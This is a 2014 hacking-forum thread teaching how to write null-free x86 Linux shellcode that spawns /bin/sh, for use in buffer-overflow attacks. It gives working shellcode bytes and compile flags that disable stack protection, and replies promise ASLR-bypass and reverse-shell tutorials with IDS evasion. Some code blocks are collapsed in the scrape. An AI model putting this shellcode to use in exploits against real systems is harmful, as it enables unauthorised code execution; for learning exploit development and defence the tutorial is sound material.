![]() |
|
[Tutorial] ~ Writing /bin/sh Linux Shellcode for Local BOF Attack - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45) +--- Forum: Whitehat • Blue Team • Defensive Security (https://hackforums.net/forumdisplay.php?fid=448) +---- Forum: Pentesting and Forensics (https://hackforums.net/forumdisplay.php?fid=231) +---- Thread: [Tutorial] ~ Writing /bin/sh Linux Shellcode for Local BOF Attack (/showthread.php?tid=3995986) Pages: Pages
1
2
|
[Tutorial] ~ Writing /bin/sh Linux Shellcode for Local BOF Attack - Goodies - Jan 14, 2014 Hello everyone! So, those of you that know me here know that I'm in networking. I've recently (over the last 3-4 weeks) have been really focusing on low system level coding (specifically NASM), shellcode writing, and BOF (Buffer OverFlow). In this double-length 2 part tutorial, we are going to go over: ~(1) Writing 2 basic ASM Files that will aid in our shellcode writing ~(1) Writing a Simple /bin/sh Shellcode ~(2) Using this shellcode in a BOF attack ~(2) Using this shellcode in the same attack with ASLR ON ~(3) Using the ret2reg method to 'bypass' ASLR This tutorial assumes you have basic knowledge in: ~ ASM ~ Registers (eax, ax, ah, al, eip, esp, ebp, etc...)and Common Instructions (xor, lea, mov, int, jmp, jmp (conditions), etc...) ~ Buffer Overflow Methodology and basic Science behind it Prelude & Files I'm Using: I'm writing this tutorial because I know that I don't know everything, but I do want to share what I do know with all of you! 1. Custom Colring Scheme for Intel ASM in NANO - http://pastebin.com/WEXsYE48 2. C File to test our shellcode (Be sure to change "char shellcode" to "char shellcode[]" when needed) - http://pastebin.com/pTdEFU1T 3. OPCODER - takes compiled ASM files and turns them into shellcode \x format - http://pastebin.com/3QkKTs0Q Part I: Core Fundementals + Getting Started In part I, I'm focusing on writing ASM whose resulting shellcode does not contain any \x00's in the mix. This will cause a string to terminate and not read the rest of our payload. I'll go over line by line: Code SECTION .text1: SECTION .text - This is the .text section of the ASM file. Obviously. 2: mov eax, 29d - we are moving 29 (d = decimal) into the EAX. 29 is the syscall for 'pause' 3: mov ebx, 0d - we are clearing our EBX register 4: int 80h - we are calling the kernel. interrupt 80 (h = hexidecimal) 5: "" - blank 6: mov eax, 1d - we are moving 1 (d = decimal) into EAX. 1 is the syscall for exit 7: mov ebx, 0d - we are moving 0 (d = decimal) into EBX. 8: int 80h - we are calling the kernel. interrupt 80 (h = hexidecimal) Alright. Simple enough... let's compile it (note: file is saved as "file.asm"): On a 32 bit machine: nasm -f elf32 file.asm ld -s -o exec file.o strace ./exec On a 64 bit machine: nasm -f elf32 file.asm ld -s -m elf_i386 -o exec file.o strace ./exec Ctrl + C to exit. Let's look at our OBJDUMP output. ![]() You can use the OPCODER at the top to convert this into shellcode: \xb8\x1d\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80 EAX is a 32 bit (4 byte) register. We are moving just one byte into it. That means that the extra 3 bytes are assumed 0x00's... We still need those 0's, but we can't have that in our program, and moving something 3 bytes or smaller into a 4 byte register causes those 0's to be in the OPCODE. Luckily for us, the XOR function, when run on the same thing, will return 00's without actually showing any 00's. XOR will compare bit by bit. If the bit is the same as the one to which it is being compared, it is a "0". If it is different, it is a "1". Now, since we compare two identical things, all the bits are the same and will always result in "0"s. xor eax, eax xor ebx, ebx Alright, we still need to have 29 in there. Well, the AL register is a 1 byte register in the EAX (LOWEST 8 bits), so why don't we simply put 29 in THERE instead! That will make the OPCODE 2 bytes shorter mov al, 29d Okay, int 80h is fine :) Now, the AL and BL registers are one byte each in the EAX and EBX respectively. Since the BL would is just going to be 0, we don't need to move anything into it as it is already 0. mov al, 1d int 80h Final code: Code SECTION .textNow compile it the same way you did last time. Execute it. Ctrl+C to exit. Check the objdump output ![]() Our shellcode: \x31\xc0\x31\xdb\xb0\x1d\xcd\x80\xb0\x01\xcd\x80 Put that in SHELL.C (variable 'shellcode') and compile with: gcc -o shellcode shell.c ./shellcode Success! Part II: JMP, CALL, POP - No Address Needed This may be a bit hard to understand for those of you that this thread is your first real introduction of ASM. If you have been exposed to ASM, chances are, a simple "Hello World" was among your first files. And chances are, it looked something like this: Code SECTION .dataLine by line: 1: SECTION .data - .data section 2. msg: db "Goodies",10,0 - declares bytes + newline. ,0 is the string terminator 3. msg_length: equ $-msg - current pointer minus msg pointer gives the offset (length of msg) in bytes. 4. SECTION .text - .text(readonly) section 5. mov al, 4d - mov 4 into EAX register. One byte. 6. mov bl, 1d - mov 1 into EBX register. One byte. 7. mov ecx, msg - mov the msg pointer into the ECX register. 8. mov dl, msg_length - mov the msg_length value (in this case 9 because "Goodies"=7 + \x10 + \x00 = 9) into EDX register. 9. int 80h - kernel call This is all well and good and will work 100% of the time simply compiling and executing. However, if we want it to be shellcode, this will not work. Why? I'ts purely based on constant memory addresses!! When the application is loaded, THEN the address is chosen. We have no way of knowing beforehand what it will be. When we execute the program and use that memory address as a constant, we will get an error when we compile it into the C program unless it is loaded into the SAME PLACE. What we need to do is have a non-constant way of accessing this WITHOUT being affected by ASLR or offsets. Let's take a look at the CALL function: We have a label, R. Say we run: call R This is equivalent to: push eip jmp R So, what's happening is the EIP is getting PUSHED onto the stack. That EIP can be the pointer for our shell command "/bin/sh". Let's start writing: Code SECTION .dataLet's look at what happens. We are JMPing to the "j" label and pushing the pointer for "shell" onto the stack. Now that the address is on the stack, we can POP it to another registers that will use it. In this case, the ECX register is the one that should point to the message so we will POP it into there :) Let's look at it line-by-line (Order of execution, NOT written order!): 3. jmp j - JMPing to the label "j". Does not rely on mem address. 10. call r - Calls the R function and pushes the EIP onto the stack. The EIP points to the "msg" label. 5. pop ebx - POP the address (of msg) into the ECX which should point to the message. 6. mov al, 4d - mov 4 into EAX which is the systemout call 7. mov bl, 1d - mov 1 into EBX call type. 8. mov dl, 8d - mov 8 into EDX. This is the length of the string and is hard coded, though with another JMP CALL POP this can be easily configured to be dynamic. 9. int 80h - kernel call Part III: EXECVE and Spawning our Shell Let's take a look at EXECVE systemcall: EXECVE System Call: 11 (11d or 0xb or bh) Parameters: 3 Param 1: File name (/bin/sh) Param 2: Parameters (Pointer to /bin/sh) Param 3: Environment params (nothing... we'll use 4 nul bytes) Let's take a look at the /bin/sh command. Go ahead and run: /bin/sh Type "exit" to exit out of it. Now run /bin/sh uname -a You get this: /usr/bin/uname: /usr/bin/uname: cannot execute binary file Now try this: echo -n "uname -a" > cmd.txt /bin/sh cmd.txt Now you get the actual output of uname -a: Linux GoodiesArch 3.10.25-1-MANJARO #1 SMP Sat Dec 21 01:02:47 UTC 2013 x86_64 GNU/Linux Okay. So we see that it doesn't take an actual parameter, but a POINTER to a parameter. That pointer is going to point to /bin/sh :) We are going to be utilizing local variables and storing our pointer relative to a register for easy access later. Let's start writing it: Code SECTION .dataAlright. This would obviouslt throw an error. Let's see what needs to be done: 1) Terminate the string (Now in EBX thanks to the POP) using a single null byte (or multiple is fine, but at least one. I recommend fewest possible) 2) Save the pointer for EBX somewhere locally 3) Save the pointer for 4 null bytes somewhere locally (remember, we can't have \x00 in our shellcode) 4) Load those pointers lateron Code SECTION .data5. pop ebx - send the address of "shell" to EBX 6. xor eax, eax - clear the EAX register. Now has \x00\x00\x00\x00 in it :) 7. mov BYTE[ebx+7], al - moving AL (single nul byte) to END the string (which is 6 bytes long hence the +7) inside the EBX. 8. mov DWORD[ebx+8], ebx - moving the EBX POINTER inside of the contents of the EBX offset by 8 bytes which is past the string and the nul byte. This is for later recall. 9. mov DWORD[ebx+12], eax - EAX is just nul so we moved 4 nul bytes onto the end there. We have no environment parameters to pass. 10. mov al, 11d - mov 11 into EAX which is the systemcall for EXECVE. 11. lea ecx, [ebx+8] - loading the address of the pointer we saved in memory into the ECX 12. lea edx, [ebx+12] - loading the address of the 4 nul bytes we saved in memory into the EDX 13. int 80h kernel call Let's look at a visual aid (thanks to stackoverflow): Code bxOkay compile it like we did earlier and execute it! On a 32 bit machine: nasm -f elf32 file.asm ld -s -o exec file.o ./exec On a 64 bit machine: nasm -f elf32 file.asm ld -s -m elf_i386 -o exec file.o ./exec Note: ASLR is ON! It still works with ASLR on because everything is relative. We're not loading anything from a constant memory address. ![]() Final shellcode: ![]() \xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68 Let's change that: unsigned char shellcode = to unsigned char shellcode[] = in the .c file and place the shellcode in thequotes. Compile with: gcc -fno-stack-protector -z execstack -o shell shell.c You've just written your first basic shellcode!!
* - mudasir007 - Jan 14, 2014 Nice Tutorial mate,Beautifully presented and Explained, Thanks for the share * - Goodies - Jan 14, 2014 Thanks buddy! I worked a total of about 3 hours in this and I'd really like people to read it :) * - T0ucaNSaM - Jan 14, 2014 Will there every be a time when you do not make ub33r HQ shuit bro ;p Just messing good shit though Goods * - Goodies - Jan 14, 2014 (Jan 14, 2014 08:24 AM)T0ucaNSaM Wrote: Will there every be a time when you do not make ub33r HQ shuit bro ;p Thanks ;) I'm just sharing what I've learned. With others. * - Ascendon - Jan 14, 2014 Thank you so so so much for this tutorial! Blood piss and tears must of been put into this HQ thread.. Respect for you Goodies. * - Goodies - Jan 14, 2014 (Jan 14, 2014 02:51 PM)Ascendon Wrote: Thank you so so so much for this tutorial! Blood piss and tears must of been put into this HQ thread.. Yeah, it took a while. I had originally broken it into 3 threads (parts I II and III) but decided to combine them and essentially compress it. Next time we will be doing a simple BOF attack and bruting ASLR entropy. Then, in part 3, I will go over the ret2reg method and show how to 'bypass' ASLR. * - DrDinosaur - Jan 14, 2014 Ew, go back to networking. JK, I need to learn this stuff eventually. Good job Goodies <3 * - Goodies - Jan 14, 2014 (Jan 14, 2014 06:05 PM)DrDinosaur Wrote: Ew, go back to networking. JK, I need to learn this stuff eventually. Good job Goodies <3 Ill get into that :) I've been writing a bind TCP shell. I'll write a reverse TCP shell and ill make a tutorial using my TCP session splicing proxy and remote BOF :P All whilst evading IDS. I haven't forsaken networking :) I'm just expanding my horizon. * - Goodies - Jan 15, 2014 Making a Bind TCP shell thread as we speak so this will be a great foundation for that. * - onetruedoctor - Jan 16, 2014 Extremely high quality tutorial. I've done a little bit of this myself, but this is an excellent intermediate to advanced guide. * - Goodies - Jan 16, 2014 Bind shell tutorial is almost completed! * - Eddd - Jan 17, 2014 great tut man thanks :))))) it will help alot, gotta reach 35 ;/ * - d0nj@n - Jan 17, 2014 pretty interesting~ brand new stuff for me here to learn. Thanks for sharing mate :) * - Goodies - Feb 9, 2014 Anyone interested in more advanced shellcode tutorials? |